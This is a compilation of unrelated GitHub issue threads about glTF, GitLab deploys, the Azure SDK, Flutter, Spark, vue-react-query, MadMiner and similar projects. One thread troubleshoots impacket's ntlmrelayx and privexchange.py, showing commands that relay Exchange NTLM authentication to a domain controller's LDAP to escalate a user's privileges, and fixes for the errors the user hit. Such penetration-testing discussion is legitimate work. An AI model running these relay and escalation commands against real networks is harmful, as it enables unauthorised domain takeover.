    "bufferViews" : [
        {
            "buffer" : 0,
            "byteLength" : 8064,
            "byteOffset" : 0,
            "target" : 34963
        },
        {
            "buffer" : 0,
            "byteLength" : 5196,
            "byteOffset" : 8064,
            "target" : 34962
        },
        {
            "buffer" : 0,
            "byteLength" : 5196,
            "byteOffset" : 13260,
            "target" : 34962
        },
        {
            "buffer" : 0,
            "byteLength" : 6928,
            "byteOffset" : 18456,
            "target" : 34962
        },
        {
            "buffer" : 0,
            "byteLength" : 3464,
            "byteOffset" : 25384,
            "target" : 34962
        }
    ],

Target is optional.  The spec says:

When bufferView.target is defined, runtime must use it to determine data usage, otherwise it could be inferred from mesh' accessor objects.

I have also the same issue here, I had to add to runtime sanity check which apply ELEMENT_ARRAY_BUFFER as target when bufferView is use in primitive indices accessor.


Gitlab deploys

Related to #227
Just setup a 5 node cluster, and I'll be moving all my production apps over in the next few days. I must ask though, I love Github but is there a way for me to deploy with Gitlab?

I think right now the best way to do this is to use your CI system to do the deployments after running your tests. I think Gitlab CI would be capable of this, using either the shell or Docker runners.
If there is a hook system you could look at https://github.com/lmars/flynn-webhook-deploy and see if it can be modified to suit your purposes.

I've been working on deploying to Flynn from gitlab and used Gitlab CI to great success. My CI step looks like this:
deploy to staging:
  environment: staging
  stage: deploy
  image: docker:git
  script:
   - L=/usr/local/bin/flynn && curl -sSL -A "`uname -sp`" https://dl.flynn.io/cli | zcat >$L && chmod +x $L
   - flynn cluster add -p $FLYNN_TLS_PIN $FLYNN_CLUSTER_NAME $FLYNN_CONTROLLER_URL $FLYNN_CONTROLLER_KEY --git-url=$FLYNN_GIT_URL
   - flynn -a otpapi remote add staging
   - git push staging HEAD:master
  when: manual

At some point in time I'll make a docker image containing the flynn-cli preinstalled but as it is very fast to install I'm okay with keeping it like this for now

@MBrouns that's cool! did you write a tutorial somewhere?

No I didn't unfortunately and I'm not working at the same company anymore either so it's hard to go back and see the full setup.
I do think the above step should contain about everything you need to get started though. If you need help with anything specific, just let me know!


[BUG] - When not providing an apiVersion, Fluent ResourceManager will resolve non-existing version

Describe the bug
Hi,
We use the ResourceManagerClient's GenericResources.GetByIdAsync() method to retrieve information from ARM relating to Azure Automation accounts. In our normal usage, we provide only the ResourceID of the resource we're querying, and do not provide an apiVersion, as that is an optional parameter.
This has worked for the last year, but in the last few days, we have observed No registered Resource Provider exists for version and location....
Example Request:
var thisResource = await resourceManagerAuthenticationClient.GenericResources.GetByIdAsync(resourceId);

Expected behavior
Code should return the expected Azure Automation account, which is known to exist.  Code should NOT REQUIRE an APIVersion be provided.
Actual behavior (include Exception or Stack Trace)
Response

No registered resource provider found for location 'centralus' and API version '2021-06-22' for type 'automationAccounts'. The supported api-versions are '2015-01-01-preview, 2015-10-31, 2017-05-15-preview, 2018-01-15, 2018-06-30, 2019-06-01, 2020-01-13-preview, 2021-04-01, 2021-06-22'. The supported locations are 'japaneast, eastus2, westeurope, southafricanorth, ukwest, switzerlandnorth, brazilsoutheast, norwayeast, germanywestcentral, uaenorth, switzerlandwest, japanwest, uaecentral, australiacentral2, southindia, francesouth, norwaywest, westus3, swedencentral, koreasouth, southeastasia, southcentralus, northcentralus, eastasia, centralus, westus, australiacentral, australiaeast, koreacentral, eastus, westus2, brazilsouth, uksouth, westcentralus, northeurope, canadacentral, australiasoutheast, centralindia, francecentral'.

This error goes away when we provide an API Version, such as 2021-04-01
To Reproduce
Steps to reproduce the behavior (include a code snippet, screenshot, or any additional information that might help us reproduce the issue)

Create an Azure Resource Manager client like so:

                var credentials = this.GetAzureCredentials(token);
                var subscriptionId = parseResource.SubscriptionId;
                var resourceManagerAuthenticationClient = ResourceManager.Configure().Authenticate(credentials).WithSubscription(subscriptionId);

Look for an Azure Automation account in any region, like centralUs

  var resource = await resourceManagerAuthenticationClient.GenericResources.GetByIdAsync(resourceId);

Environment:

Name and version of the Library package used: [e.g. Azure.Storage.Blobs 12.2.0]
Microsoft.Azure.Management.ResourceManager.Fluent
1.33.0
Hosting platform or OS and .NET runtime version
Azure AppService
IDE and version : [e.g. Visual Studio 16.3]
Visual Studio 2019 or 2022 or Prod

Should the SDK attempt to use the newest apiVersion when a user does not provide one?  If an apiVersion isn't available in all regions, a similar error could likely be encountered.  What if it tried the second most recent apiVersion?

Thank you for your feedback.  Tagging and routing to the team member best able to assist.

HI @weidongxu-microsoft could you help on this Fluent issue? thanks

@stowen-msft
The suggestion is to provide an api-version for consistency. In very rare case (as in your case), service might register an api-version that they have yet to onboard (or onboard to all regions). This could cause unexpected result.

To automation service. From the message 2021-06-22 and centralus is supported, but requests result in error.


Name normalization methods

Forgot these for the successstory changes

The CommonPlayniteShared project is a copy of the Playnite code.
I prefer not to add any code here.
Can you copy your additions to "CommonPluginsShared \ Extensions \ StringExtensions.cs"?
But you will need to have a different namespace.
Thanks.

Otherwise you can apply your additions in existing function: PlayniteTools.NormalizeGameName(string name)?
Since your additions are an optimization of it, right?


Flutter functionality cannot be used from Dart console application (Error: Not found: 'dart:ui')

Steps to Reproduce
One-liner to create a CLI application that uses a Flutter function.
(cd /tmp && rm -rf /tmp/example && dart create /tmp/example && echo 'dependencies: { flutter_dotenv: ^5.0.0 }' >>/tmp/example/pubspec.yaml && echo "import 'package:flutter/foundation.dart'; void main(List<String> arguments) { debugPrintSynchronously('flutter foundation function'); }" >/tmp/example/bin/example.dart && cd /tmp/example && dart pub get && dart run)

My real use case is not to use Flutter widgets and stuff directly, but packages that could potentially work without a visual application / Flutter specifics, such as a CLI tool. I have a "common" library which depends on e.g. flutter_dotenv (which is incompatible with dotenv), and used both by Flutter mobile app and a CLI tool.
Expected results:
This used to compile and run correctly with earlier Flutter versions. Without this, I'd have to move Flutter-specific functions into a separate library, and cannot share Dart code between different software components so easily anymore.
Actual results:
Fails to compile with Error: Not found: 'dart:ui'.

Logs

Creating example using template console-simple...

  .gitignore
  analysis_options.yaml
  CHANGELOG.md
  pubspec.yaml
  README.md
  bin/example.dart

Running pub get...                     0.9s
  Resolving dependencies...
  Changed 1 dependency!

Created project example in ../../tmp/example! In order to get started, run the following commands:

  cd ../../tmp/example
  dart run

Resolving dependencies...
+ characters 1.1.0
+ collection 1.15.0
+ flutter 0.0.0 from sdk flutter
+ flutter_dotenv 5.0.0
+ meta 1.7.0
+ sky_engine 0.0.99 from sdk flutter
+ typed_data 1.3.0
+ vector_math 2.1.0
Changed 8 dependencies!

  List<VoidCallback?> _listeners = List<VoidCallback?>.filled(0, null);

[✓] Flutter (Channel beta, 2.4.0-4.2.pre, on macOS 11.3 20E232 darwin-x64, locale en-GB)
    • Flutter version 2.4.0-4.2.pre at /Users/blabla/git/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision f18b9281c2 (3 weeks ago), 2021-07-22 14:08:30 -0700
    • Engine revision 844c29f42a
    • Dart version 2.14.0 (build 2.14.0-301.2.beta)

[✗] Android toolchain - develop for Android devices
    ✗ Unable to locate Android SDK.
      Install Android Studio from: https://developer.android.com/studio/index.html
      On first launch it will assist you in installing the Android SDK components.
      (or visit https://flutter.dev/docs/get-started/install/macos#android-setup for detailed instructions).
      If the Android SDK has been installed to a custom location, please use
      `flutter config --android-sdk` to update to that location.

[✓] Xcode - develop for iOS and macOS
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.5.1, Build version 12E507
    • CocoaPods version 1.10.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[!] Android Studio (not installed)
    • Android Studio not found; download from https://developer.android.com/studio/index.html
      (or visit https://flutter.dev/docs/get-started/install/macos#android-setup for detailed instructions).

[✓] VS Code (version 1.59.0)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.23.0

[✓] Connected device (1 available)
    • Chrome (web) • chrome • web-javascript • Google Chrome 92.0.4515.131

! Doctor found issues in 2 categories.

Hi @AndiDog

Created project example in ../../tmp/example! In order to get started, run the following commands:
cd ../../tmp/example
dart run

I see you're running dart here, dart:ui is part of Flutter so the error message you getting is expected
Please see https://flutter.dev/community for resources and asking questions like this,
you may also get some help if you post it on Stack Overflow and if you need help with your code, please see https://www.reddit.com/r/flutterhelp/
Closing, as this isn't an issue with Flutter itself. If you disagree, please write in the comments and I will reopen it.
Thank you


Dbg analytics

Codecov Report

Merging #687 into m_dbg will decrease coverage by 0.01%.
The diff coverage is 0%.

@@           Coverage Diff            @@
##           m_dbg    #687      +/-   ##
========================================
- Coverage   2.98%   2.97%   -0.02%
========================================
  Files        403     407       +4
  Lines      14960   15019      +59
========================================
  Hits         447     447
- Misses     14513   14572      +59

Impacted Files
Coverage Δ

...on/Analytics/Events/RemoteDebuggerAttachedEvent.cs
0% <0%> (ø)

...nsion/AttachDebuggerDialog/AttachDebuggerWindow.cs
0% <0%> (ø)
:arrow_up:

...cs/Events/RemoteDebuggerRemoteToolsStartedEvent.cs
0% <0%> (ø)

...n/AttachDebuggerDialog/ListProcessStepViewModel.cs
0% <0%> (ø)
:arrow_up:

...lytics/Events/RemoteDebuggerWindowLaunchedEvent.cs
0% <0%> (ø)

.../Events/RemoteDebuggerRemoteToolsInstalledEvent.cs
0% <0%> (ø)

...uggerDialog/InstallStartRemoteToolStepViewModel.cs
0% <0%> (ø)
:arrow_up:

... and 1 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d77dc0d...419d0ce. Read the comment docs.


dropdown: increase dropdown overlay z-index

What You're Solving

Fixes #278
Fixes issue where the dropdown overlay was not covering the entire page so
the dropdown would not always close when clicking outside of the open menu.

Design Decisions

Chose a z-index of 970 for the overlay because we want it to cover prism (the sidebar has a z-index of 960)
Chose a z-index of 980 for the menu so it appears above the overlay.

How to Verify

Add a dropdown to a page
Add an element later in the DOM with position: relative
Open the dropdown
Click the other element and/or Prism - the dropdown should close

Hey Kaiden, I want your opinion on the other layer z-indexes that prism sits on (some well above 980).  Some might not matter.
https://github.com/ps-dev/prism/blob/master/client/src/common/styles/layers.css
But z-indexes are just mayhem anyway.
Feels like we need some more clear guidelines on what plays in what z space across our product.  Might be nice to be more comprehensively sure about these things.
That might be a bigger effort.
It's probably the case that we just merge 980 for this particular issue and time and go from there if we have another issue.  But, who knows, like I said, mayhem.
Anywho, a quick comment on these other prism layers based on that knowledge would be helpful for me.

I was looking for that list of Z Indexes in Design system but didn't think to look in Prism. After looking at it, I think I'd still be comfortable using the 970 & 980 in my PR. Those higher z-indexes shouldn't ever interfere with dropdowns because it would take some other click in Prism to get them to show up and the click should be intercepted by the dropdown overlay.

Oh and yeah, it would be great to have a single file somewhere that allocates specific z-indexes across the app so we can make more informed decisions when picking them. But, depending on where your app's stacking contexts are, those values may or may not help.


Support gradient checkpointing for functional models via the standard fit method

System information.
TensorFlow version (you are using): 2.12.0
Are you willing to contribute it (Yes/No) : No
Describe the feature and the current behavior/state.
Describe the feature clearly here. Be sure to convey here why the requested feature is needed. Any brief description about the use-case would help.
The following feature excerpt is copied from huggingface documentation here
In order to compute the gradients during the backward pass all activations from the forward pass are normally saved. This can create a big memory overhead. Alternatively, one could forget all activations during the forward pass and recompute them on demand during the backward pass. This would however add a significant computational overhead and slow down training.
Gradient checkpointing strikes a compromise between the two approaches and saves strategically selected activations throughout the computational graph so only a fraction of the activations need to be re-computed for the gradients. See this great article explaining the ideas behind gradient checkpointing.
Will this change the current api? How?
Yes, it will introduce a flag in model.fit such as gradient_checkpointing=True
Who will benefit from this feature?
Any user with large intermediate activations and tensors that won't fit in device memory. Sequence models can be very memory heavy and this allows scale up without introducing model parallelism complexity.
Contributing

Do you want to contribute a PR? (yes/no): No
If yes, please read this page for instructions
Briefly describe your candidate solution(if contributing):

Grad checkpointing is a very attractive feature. It would be great to have official support for this.  Discussion: https://discuss.tensorflow.org/t/support-gradient-checkpointing-in-tensorflow-2/.

@ianstenbit
(not 100% sure), From TF, there is a method recompute_grad for this. In EfficientDet official repo, they used it for gradient-checkpiont, code.

Oh interesting -- thanks @innat, I wasn't aware of that. This may be feasible as a feature using recompute_grad. Let me sync with some folks that know a bit more.

It sounds like this should be possible (probably through making a subclass of Model which uses a custom train_step and decorates call with this recompute_grad decorator.
This seems like a nice-to-have feature, but is not currently on our roadmap. I'll leave the issue open for now -- if any contributors are interested in experimenting with this approach, we could see how it goes.


Scrolling Skins

I have a lot of skins so I should scroll down to see all of them on the list to choose the features. Problem is my scrolling wheel is broken so there are some skins I can't reach except I change their name so they show up on top. Adding a scrolling bar or a click and drag feature could solve this pretty easily I think

this will be added in the next update
for now either search for the skin by typing with the keyboard, or resize the window as large as you can


Updated the example project paths

I had to use the updated paths to get the example java project to build. The commands given didn't work.

Merge in CL d408df2804c880f6dcd5e35e37c6f06a3cb1b97c sorry we don't have the tooling to accept pull request yet.

That's fine. Thanks!
On Wed, Mar 25, 2015 at 2:24 PM, Damien Martin-Guillerez <
<EMAIL_ADDRESS>wrote:

Closed #45 https://github.com/google/bazel/pull/45.
—
Reply to this email directly or view it on GitHub
https://github.com/google/bazel/pull/45#event-265156850.


[SPARK-43298][PYTHON][ML] predict_batch_udf with scalar input fails with batch size of one

What changes were proposed in this pull request?
This is a followup to #39817 to handle another error condition when the input batch is a single scalar value (where the previous fix focused on a single scalar value output).
Why are the changes needed?
Using predict_batch_udf fails when the input batch size is one.
import numpy as np
from pyspark.ml.functions import predict_batch_udf
from pyspark.sql.types import DoubleType

df = spark.createDataFrame([[1.0],[2.0]], schema=["a"])

def make_predict_fn():
    def predict(inputs):
        return inputs

    return predict

identity = predict_batch_udf(make_predict_fn, return_type=DoubleType(), batch_size=1)
preds = df.withColumn("preds", identity("a")).show()

fails with:
  File "/.../spark/python/pyspark/worker.py", line 869, in main
    process()
  File "/.../spark/python/pyspark/worker.py", line 861, in process
    serializer.dump_stream(out_iter, outfile)
  File "/.../spark/python/pyspark/sql/pandas/serializers.py", line 354, in dump_stream
    return ArrowStreamSerializer.dump_stream(self, init_stream_yield_batches(), stream)
  File "/.../spark/python/pyspark/sql/pandas/serializers.py", line 86, in dump_stream
    for batch in iterator:
  File "/.../spark/python/pyspark/sql/pandas/serializers.py", line 347, in init_stream_yield_batches
    for series in iterator:
  File "/.../spark/python/pyspark/worker.py", line 555, in func
    for result_batch, result_type in result_iter:
  File "/.../spark/python/pyspark/ml/functions.py", line 818, in predict
    yield _validate_and_transform_prediction_result(
  File "/.../spark/python/pyspark/ml/functions.py", line 339, in _validate_and_transform_prediction_result
    if len(preds_array) != num_input_rows:
TypeError: len() of unsized object

After the fix:
+---+-----+
|  a|preds|
+---+-----+
|1.0|  1.0|
|2.0|  2.0|
+---+-----+

Does this PR introduce any user-facing change?
This fixes a bug in the feature that was released in Spark 3.4.0.
How was this patch tested?
Unit test was added.

cc @HyukjinKwon @mengxr @WeichenXu123

Mind taking a look at https://github.com/apache/spark/pull/40967/checks?check_run_id=13051337101?

Hmm, looks like I might be stuck with this issue, any ideas?  I've configured my "actions permissions" to match this comment, but I'm still getting this error:
Error: buildx failed with: ERROR: failed to solve: failed to push ghcr.io/leewyang/apache-spark-ci-image:master-4815979720: failed commit on ref "manifest-sha256:80eca005ea656d063e07f9059619043cd701e0c0d17029523fc167e4915405b4": unexpected status: 403 Forbidden

Merged to master.

oops, I missed that the linter failed. Reverting, and reopening the PR.

merged to master again


Error with Vue 2 - No queryClient found in Vue context

Hello,
Tried this out with my Vue 2 codebase.
This is how I am mounting app
import { QueryClient, VUE_QUERY_CLIENT } from "vue-react-query";

import VueCompositionApi from "@vue/composition-api";
import { createApp, h } from "@vue/composition-api";

Vue.use(VueCompositionApi);
const queryClient = new QueryClient();
queryClient.mount();
createApp({
  provide: {
    [VUE_QUERY_CLIENT]: queryClient
  },
  router,
  store,
  render: () => h(App)
}).mount("#app");

And this is how I am using it in my component
export default {
  setup() {
    const { isLoading, isError, isFetching, data, error, refetch } = useQuery(
      "todos",
      todoFetcher,
      {
        retry: 0,
        staleTime: 1000,
        cacheTime: 2000
      }
    );
    return { isLoading, isError, isFetching, data, error, refetch };
  },
  name: "home"
};

Here are my dependencies
"dependencies": {
    "@vue/composition-api": "^1.0.0-rc.7",
    "core-js": "^3.4.4",
    "vue": "^2.6.11",
    "vue-class-component": "^7.0.2",
    "vue-property-decorator": "^8.3.0",
    "vue-react-query": "^0.4.0",
  },

And this is the error I am getting

Also, getting this warning in a different codebase.

Thank you!

Hi, unfortunately mount function on QueryClient does not return the instance. Therefore you cannot chain it like you have done 😞
https://github.com/tannerlinsley/react-query/blob/5f7363518a8e0549bc7f9707cb257f09384c7b09/src/core/queryClient.ts#L75
As of now you need to create intermediate variable for QueryClient.
Ex. https://github.com/DamianOsipiuk/vue-react-query/blob/main/examples/basic-vue-2.x/src/main.ts
I will create a ticket in the main package to fix that in the future.

Hi, unfortunately mount function on QueryClient does not return the instance. Therefore you cannot chain it like you have done 😞
https://github.com/tannerlinsley/react-query/blob/5f7363518a8e0549bc7f9707cb257f09384c7b09/src/core/queryClient.ts#L75
As of now you need to create intermediate variable for QueryClient.
Ex. https://github.com/DamianOsipiuk/vue-react-query/blob/main/examples/basic-vue-2.x/src/main.ts
I will create a ticket in the main package to fix that in the future.

Actually, I tried it with the intermediate variables also. In fact tried that first. Getting the same error.

Okay, my bad. It is working with intermediate variable. Thanks!
But then, when I tried to change my setup function a little bit. Let's suppose this -
export default function setup(props, context) {
    const useModelObjectQuery = (objectId, changesetId) => {
        return useQuery(
            'modelObjects',
            () => new Promise((resolve, reject) => {
                inputDataHttpClient.getObjectsByClassId(objectId, changesetId).subscribe((r) => resolve(r), (e) => reject(e));
            }),
        )
    }
    return {
        useModelObjectQuery,
    }
}

and then call useModelObjectQuery in the component like
const modelObjectQuery = this.useModelObjectQuery();

Throws the same error - "No queryClient found in Vue context".
Any idea? @DamianOsipiuk

Hmm i do not have the full context of the example that you are providing, but it seems that you are wrapping useQuery with another outer function, that is not invoked immidiately.
Unfortunately provide/inject pattern works only inside setup function. Therefore useQuery has to be called inside setup function to work properly.
If you want for example to not fetch immidiately, then there are some options like setting enabled to false and then invoking refetch manually etc. Please refer to the react-query documentation for more details.

Hmm i do not have the full context of the example that you are providing, but it seems that you are wrapping useQuery with another outer function, that is not invoked immidiately.
Unfortunately provide/inject pattern works only inside setup function. Therefore useQuery has to be called inside setup function to work properly.
If you want for example to not fetch immidiately, then there are some options like setting enabled to false and then invoking refetch manually etc. Please refer to the react-query documentation for more details.

Thanks!
I actually wrap my useQuery with outer function because I need to pass some parameters which are available in the component to the query function.

Then it depends from where do you get those parameters.
If those are set via data, computed, watch, then those can be converted to the compositionAPI and composed with useQuery in the same closure.
If those are fetched from somewhere or converting is not an option then you have few options. Basically they would boil down to exposing a ref from setup function and use it in the queryKey. Then whenever you will update the value of a ref it should refetch the data with updated parameters.

Thanks! Tried your last suggestion.
Now, the setup function looks like this
const fetchModelObjects = ({ queryKey }) => new Promise((resolve, reject) => {
    const [_key, { studyId, changesetId, classId }] = queryKey;
    inputDataHttpClient.getObjectsByClassId(studyId, changesetId, classId)
        .subscribe((res) => resolve(res), (err) => reject(err));
});

export default function setup(props, context) {
    const params = reactive({
        studyId: '',
        changesetId: '',
        classId: null,
    });
    const createContext = (_studyId, _changesetId, _classId) => {
        params.studyId = _studyId;
        params.changesetId = _changesetId;
        params.classId = _classId;
    };
    const modelObjectsQuery: any = useQuery(
        ['modelObjects', params],
        fetchModelObjects,
        {
            enabled: Object.values(params).every(Boolean),
        }
    );
    watch(params, (newValue) => {
        if (newValue) {
            const refetch = unref(modelObjectsQuery.refetch);
            refetch();
        }
    });
    return {
        createContext,
        modelObjectsQuery,
    };
}

and then in component, I am calling this
this.createContext(this.studyId, this.changesetId, this.classId);

This works. Essentially, this.createContext now looks like a function which initiates the API call.
 And if you look at the setup function, that's a lot of code I had to write in order to be able to pass parameters from my component.
So, is passing parameters from component anti pattern in terms of composition api?

It's hard to tell if it's an anti-pattern since Vue3 / composition API is pretty fresh.
However, composition API can handle all of the things that were previously available as component parts (data, computed, lifecycle, etc.). Therefore I would say, that if you can, you should rewrite it with composition API, which should reduce the need for boilerplate.
Also, you could create your own hook that will contain the useQuery inside and will hide all of this additional logic, exposing only parts that are needed outside. You just need to make sure that you are calling the useQuery inside the setup function for the provide/inject to work.
Glad it's working :1st_place_medal:

It's hard to tell if it's an anti-pattern since Vue3 / composition API is pretty fresh.
However, composition API can handle all of the things that were previously available as component parts (data, computed, lifecycle, etc.). Therefore I would say, that if you can, you should rewrite it with composition API, which should reduce the need for boilerplate.
Also, you could create your own hook that will contain the useQuery inside and will hide all of this additional logic, exposing only parts that are needed outside. You just need to make sure that you are calling the useQuery inside the setup function for the provide/inject to work.
Glad it's working 🥇

I think I got the wrapping useQuery in other function working. And I think it was something to do with arrow functions. It works when I use plain JS function.
Thanks a lot for all the suggestions. I think I will need a lot of refactoring as well as a lot of composing in order to be able to use vue-react-query flawlessly in my codebase.
I am actually going to try and refactor and remove some of my Vuex modules and replace the whole thing with vue-react-query.
So, let's see how it goes! It's a big task, but I will keep reporting if I find anything odd.
Wish me luck!!
Thanks again!
Closing this as the main issue is resolved!

@onkarj422 Yeah, all feedback is appreciated as I cannot test all the scenarios by myself, unfortunately :wink:
Therefore if you find something odd, or maybe some improvements that could make the usage easier, I'm all ears :ear:


Orbit Image slider

It will have support for Orbit ? http://foundation.zurb.com/docs/components/orbit.html

Orbit has been deprecated and we have no plans to implement it in this project.


I am taking this error on windows 10. I disabled the firewall. What can be the problem?

File ".\ntlmrelayx.py", line 336, in
c = start_servers(options, threads)
File ".\ntlmrelayx.py", line 169, in start_servers
s = server(c)
File "build\bdist.win-amd64\egg\impacket\examples\ntlmrelayx\servers\smbrelayserver.py", line 88, in init
File "build\bdist.win-amd64\egg\impacket\smbserver.py", line 3703, in init
File "c:\python27\lib\SocketServer.py", line 417, in init
self.server_bind()
File "c:\python27\lib\SocketServer.py", line 431, in server_bind
self.socket.bind(self.server_address)
File "c:\python27\lib\socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 10013] An attempt was made to access a socket in a way forbidden by its access permissions

By default ntlmrelayx will try to listen on port 445, which is not possible on Windows because it uses it exclusively for the SMB server. You can disable this in ntlmrelayx by specifying the --no-smb-server option (only if you're using the latest version from the master branch on git

Hello Dirk,
I came across a 'Connection refused' error
When i ran ntlmrelayx, i work perfectly, waiting for connections,
_sudo ntlmrelayx.py -t ldap://<IP_ADDRESS> --escalate-user pentest1
[sudo] password for hp:
Impacket v0.9.19-dev - Copyright 2019 SecureAuth Corporation
[] Protocol Client SMB loaded..
[] Protocol Client SMTP loaded..
[] Protocol Client MSSQL loaded..
[] Protocol Client HTTPS loaded..
[] Protocol Client HTTP loaded..
[] Protocol Client IMAPS loaded..
[] Protocol Client IMAP loaded..
[] Protocol Client LDAP loaded..
[] Protocol Client LDAPS loaded..
[] Running in relay mode to single host
[] Setting up SMB Server
[] Setting up HTTP Server
[*] Servers started, waiting for connections_
Right after i start privexchange this way
_python privexchange.py -ah <IP_ADDRESS> srv00dc02.mydomain.com -u pentest1 -d domain.com
Password:
INFO: Using attacker URL: http://<IP_ADDRESS>/privexchange/
/EWS/Exchange.asmx
Traceback (most recent call last):
File "privexchange.py", line 222, in
main()
File "privexchange.py", line 141, in main
session.request("POST", ews_url, POST_BODY % (args.exchange_version, attacker_url), headers)
File "/usr/lib/python2.7/httplib.py", line 1057, in request
self._send_request(method, url, body, headers)
File "/usr/lib/python2.7/httplib.py", line 1097, in _send_request
self.endheaders(body)
File "/usr/lib/python2.7/httplib.py", line 1053, in endheaders
self._send_output(message_body)
File "/usr/lib/python2.7/httplib.py", line 897, in send_output
self.send(msg)
File "/usr/lib/python2.7/httplib.py", line 859, in send
self.connect()
File "/usr/lib/python2.7/httplib.py", line 1270, in connect
HTTPConnection.connect(self)
File "/usr/lib/python2.7/httplib.py", line 836, in connect
self.timeout, self.source_address)
File "/usr/lib/python2.7/socket.py", line 575, in create_connection
raise err
socket.error: [Errno 111] Connection refused
I try this on differents attacking machine, but i have the same result.
However when i try to login manually to the web service on port 80 started by ntlmrelayx, i am able to dump info from the domain controller

You seem to point privexchange.py to your DC instead of the Exchange server in your second command.

Thx. You are totally right. Now API call is successful yet i have no return in the ntlmrelayx windows even after 30mn.


[Feature Request] 'exact' parameter for fuzzy prompt

Like https://github.com/dahlia/iterfzf#user-content-iterfzfiterfzfiterable-options
``exact``
   ``False`` for fuzzy matching, and ``True`` for exact matching.

   ``False`` by default.

ref: https://github.com/kazhala/pfzy/blob/71e4dae11020d31d9baf0b25df8ee95836c6787c/docs/pages/usage.md#substr_scorer

Hi @DeadNews ,
Thanks for the suggestion. It is now included in the latest release.
You can view the docs here.
Thanks

Thanks. All works.

@kazhala
Thanks. All works.


Make broken async stream callbacks work again in Padrino

This is a fix for #1704
It patches the issue where streaming connections never get closed after the connection is lost.
The async streaming callback functions that Sinatra sets via the ExtendedRack class in setup_default_middleware method gets overridden by Padrino's middleware builder.

Thank you @jay2u for you work! I cherry-picked your commit and made apps to not use ExtendedRack if EventMachine is unavailable. I think this should separate synchronous app well enough. Anyway, Sinatra-flavored streaming is only possible if EM is available: https://github.com/sinatra/sinatra/blob/e727b17930f0b3c1a4e666c5901d45d04f68a2d6/lib/sinatra/base.rb#L197


Extreme weather cec updates

This pull request adds all the changes requested by the CEC, streamlines some of the charting functionality and creates a new Dashboard component using the Carbon grids that can be used by other tools.

 Safe guards for NWS API flakiness

 Browser navigation broken on Extreme Weather tool


Updating pattern (existing toolkits/solutions)

When you update a pattern and build it into the next version of the toolkit, AND you have the previous version of the toolkit installed, AND you have an existing solution created from previous version of the toolkit -> then:

The local installed toolkit is replaced by new version
The existing solution is not upgraded. The version is not upgraded, the pattern schema inside it is not upgraded, the codetemplatesfiles are not upgraded.

In order to use the updates to the pattern/toolkit, those things in the solution require upgrading, or else we need a different strategy for what is stored in a solution file itself.
It may be possible to upgrade automatically or manually (command: automate upgrade solution, but some data may be lost or changed, and that will not be accounted for?

Toolkit.json contains Pattern:
{
    "Version": "3.0.0",
    "PatternName": "BoostAPI",
	"Pattern": {...},
    "CodeTemplateFiles": [...],
    "Id": "05P610DZ"
}

Solution.json contains Toolkit and Pattern:
{
  "Toolkit": {
      "Version": "3.0.0",
      "PatternName": "BoostAPI",
	  "Pattern": {...},
      "CodeTemplateFiles": [...],
      "Id": "05P610DZ"
  },
    "PatternName": "BoostAPI",
    "Id": "JsaDBPUH",
    "Name": "BoostApi304",
    "Model": {...}
}

This issue will need to consider the newer version of the toolkit, since now we have built-in breaking change detection.
A major toolkit upgrade may or may not be automatically upgradeable!!!

Fixed by #32


include.gradle 11.0.4

conflict with google play service at time of build

Check issue #81. Its discussed in more details there.

A fix was reaselased in v4.2.0


MadMiner v0.8.0

WIP

Hey @johannbrehmer can you summarize where this left off?

Hi, this is in principle ready to be merged. The only question is whether we already want to give up Python 2 support (remember that the main MadGraph version still only supports Python 2...). I don't have a strong preference, but I'm leaning to wards with this merge until the main MadGraph releases run on Python 3.

I don't have a strong preference, but I'm leaning to wards with this merge until the main MadGraph releases run on Python 3.

Coming here from Issue #452, but I'm not sure what you mean by "the main MadGraph". MadGraph5_aMC-NLO has been supported on Python 3 for a long time now and Python 2 support is being officially dropped in December 2021.
Do you have some requirements that keep you pinned to an older Python 2 only version of MadGraph5_aMC-NLO? If not, please drop Python 2 support for everything.

Fantastic, I totally missed that May 2020 announcement! Then I'm totally in favour of dropping Python 2 support now.
Unfortunately, I can't really promise to commit any time to take care of this. But if anyone else can update this MR, ping me and I'll review it and take care of the release and pip version.

Given that I was involved in the creation of the python3-only branch, I volunteer to do it. However, I do not have write permissions on this repository (nor in any of the DIANA-HEP) organization.
Could anyone invite me so I can fix the PR conflicts?

Fantastic, I totally missed that May 2020 announcement! Then I'm totally in favour of dropping Python 2 support now.

Great to hear. :rocket:

Unfortunately, I can't really promise to commit any time to take care of this. But if anyone else can update this MR, ping me and I'll review it and take care of the release and pip version.
Given that I was involved in the creation of the python3-only branch, I volunteer to do it. However, I do not have write permissions on this repository (nor in any of the DIANA-HEP) organization.

Sure, I understand @johannbrehmer. Beyond my out-of-the-blue drive by PRs and Issues I don't think I really have the time to contribute meaningfully, but @Sinclert is awesome and on this — thank you Sinclert! :+1:

Could anyone invite me so I can fix the PR conflicts?

I also don't have any permissions on DIANA-HEP, so I think we'll need to ping people that publicly have admin rights. @cranmer @jpivarski @pelmer can you give @Sinclert permissions please?

@Sinclert thanks so much for all your work! I invited you to have write access. Please let me know if that worked. Ping me if you need more permissions for anything.

@johannbrehmer @matthewfeickert @cranmer 👋🏻
I have rebased the master branch into the python3-only branch solving all the conflicts, while preserving the changes introduced in the master branch since I created my fork (from where this PR derives).
This is all good for review! 👀
Notes:

I would recommend reading the description of my original PR, to get a sense of what to find in each commit.
I would recommend not to continue development on master until this PR is merged (otherwise, conflicts will appear).

Tagging @KlingFelix also in case he wants to have a look.

I just fixed some Python2 references still existing throughout the code base (python2_override argument), and updated the installation.md guide to update both MadGraph and Python minimum versions (now MG 2.8.0+, and Python 3.6+).
@KlingFelix did you have time to review the changes?
If we are good to go, I would suggest merging PR https://github.com/diana-hep/madminer/pull/455 first (leaving MadMiner 0.7.X unbroken), and then merging this one.

Hi @johannbrehmer , @KlingFelix  👋🏻
Just curious, is any of you looking at this PR? Because if you are not, I would suggest merging it and move from there. These changes has been stuck in review process since October 2020...

Hi @Sinclert , thanks for the reminder and sorry for the radio silence! I'm afraid that I can't really help with MadMiner development these days. In the future please feel free to just make executive decisions (together with Felix, Kyle etc).

